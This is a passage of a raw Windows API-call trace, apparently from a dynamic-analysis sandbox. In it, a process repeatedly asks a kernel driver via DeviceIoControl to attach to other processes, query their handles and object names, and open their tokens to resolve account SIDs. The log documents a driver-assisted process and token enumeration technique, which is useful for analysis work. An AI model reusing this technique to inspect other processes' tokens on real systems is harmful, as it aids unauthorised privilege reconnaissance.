Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fff410, HandleInformation=0x0) returned 0x0 [0094.797] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.797] PsReleaseProcessExitSynchronization () returned 0x2 [0094.797] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0094.797] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0094.797] ObfDereferenceObject (Object=0xfffffa8001fff410) returned 0x1 [0094.797] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.797] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.797] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.797] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.797] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.797] PsAcquireProcessExitSynchronization () returned 0x0 [0094.797] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880052335d0) [0094.797] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.798] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.798] PsReleaseProcessExitSynchronization () returned 0x2 [0094.798] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0094.798] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.798] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.798] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.798] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.798] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x950) returned 0xc0 [0094.798] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.798] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80020287d0, HandleInformation=0x0) returned 0x0 [0094.798] ObOpenObjectByPointer (in: Object=0xfffffa80020287d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.798] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x12 [0094.798] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800361e240 | out: TokenHandle=0xfffffa800361e240*=0xc8) returned 0x0 [0094.798] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.798] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.798] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.798] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.799] CloseHandle (hObject=0xc8) returned 1 [0094.799] CloseHandle (hObject=0xc0) returned 1 [0094.799] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.799] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.800] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.800] PsAcquireProcessExitSynchronization () returned 0x0 [0094.800] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880052335d0) [0094.800] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002028070, HandleInformation=0x0) returned 0x0 [0094.800] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.800] PsReleaseProcessExitSynchronization () returned 0x2 [0094.800] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0094.800] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233508) returned 0x0 [0094.800] ObfDereferenceObject (Object=0xfffffa8002028070) returned 0x1 [0094.800] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.800] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.800] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.800] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0094.800] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.800] PsAcquireProcessExitSynchronization () returned 0x0 [0094.800] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880052335d0) [0094.800] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800202e3a0, HandleInformation=0x0) returned 0x0 [0094.800] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.800] PsReleaseProcessExitSynchronization () returned 0x2 [0094.800] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0094.800] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233508) returned 0x0 [0094.800] ObfDereferenceObject (Object=0xfffffa800202e3a0) returned 0x1 [0094.800] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.800] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.800] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.800] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.800] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.800] PsAcquireProcessExitSynchronization () returned 0x0 [0094.800] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880052335d0) [0094.800] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.800] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.801] PsReleaseProcessExitSynchronization () returned 0x2 [0094.801] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0094.801] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.801] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.801] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.801] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.801] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x960) returned 0xc0 [0094.801] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.801] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002042b30, HandleInformation=0x0) returned 0x0 [0094.801] ObOpenObjectByPointer (in: Object=0xfffffa8002042b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.801] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x12 [0094.801] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800361e240 | out: TokenHandle=0xfffffa800361e240*=0xc8) returned 0x0 [0094.801] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.801] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.801] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.801] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.803] CloseHandle (hObject=0xc8) returned 1 [0094.803] CloseHandle (hObject=0xc0) returned 1 [0094.803] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.803] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.803] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.803] PsAcquireProcessExitSynchronization () returned 0x0 [0094.803] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880052335d0) [0094.803] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800203d8f0, HandleInformation=0x0) returned 0x0 [0094.803] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.803] PsReleaseProcessExitSynchronization () returned 0x2 [0094.803] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0094.803] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038c97c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038c97c4, ReturnLength=0xfffff88005233508) returned 0x0 [0094.803] ObfDereferenceObject (Object=0xfffffa800203d8f0) returned 0x1 [0094.803] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.803] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.803] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.803] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0094.803] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.803] PsAcquireProcessExitSynchronization () returned 0x0 [0094.803] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880052335d0) [0094.803] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002043a20, HandleInformation=0x0) returned 0x0 [0094.803] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.803] PsReleaseProcessExitSynchronization () returned 0x2 [0094.803] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0094.803] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.804] ObfDereferenceObject (Object=0xfffffa8002043a20) returned 0x1 [0094.804] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.804] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.804] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.804] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.804] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.804] PsAcquireProcessExitSynchronization () returned 0x0 [0094.804] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880052335d0) [0094.804] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.804] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.804] PsReleaseProcessExitSynchronization () returned 0x2 [0094.804] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0094.804] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001edd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001edd044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.804] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.804] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.804] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.804] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x970) returned 0xc0 [0094.804] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.804] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800205a7d0, HandleInformation=0x0) returned 0x0 [0094.804] ObOpenObjectByPointer (in: Object=0xfffffa800205a7d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.804] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x12 [0094.804] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800361e240 | out: TokenHandle=0xfffffa800361e240*=0xc8) returned 0x0 [0094.804] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.804] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.804] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.804] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.806] CloseHandle (hObject=0xc8) returned 1 [0094.806] CloseHandle (hObject=0xc0) returned 1 [0094.806] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.806] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.806] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.806] PsAcquireProcessExitSynchronization () returned 0x0 [0094.806] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880052335d0) [0094.806] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002059100, HandleInformation=0x0) returned 0x0 [0094.806] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.806] PsReleaseProcessExitSynchronization () returned 0x2 [0094.806] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0094.806] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.806] ObfDereferenceObject (Object=0xfffffa8002059100) returned 0x1 [0094.806] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.806] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.806] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.806] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0094.806] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.806] PsAcquireProcessExitSynchronization () returned 0x0 [0094.806] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880052335d0) [0094.806] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800206a400, HandleInformation=0x0) returned 0x0 [0094.806] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.806] PsReleaseProcessExitSynchronization () returned 0x2 [0094.806] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0094.806] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.807] ObfDereferenceObject (Object=0xfffffa800206a400) returned 0x1 [0094.807] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.807] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.807] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.807] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.807] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.807] PsAcquireProcessExitSynchronization () returned 0x0 [0094.807] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880052335d0) [0094.807] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.807] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.807] PsReleaseProcessExitSynchronization () returned 0x2 [0094.807] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0094.807] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.807] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.807] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.807] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.807] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x980) returned 0xc0 [0094.807] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.807] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002087b30, HandleInformation=0x0) returned 0x0 [0094.807] ObOpenObjectByPointer (in: Object=0xfffffa8002087b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.807] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x12 [0094.807] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800361e240 | out: TokenHandle=0xfffffa800361e240*=0xc8) returned 0x0 [0094.807] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.807] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.807] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.807] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, 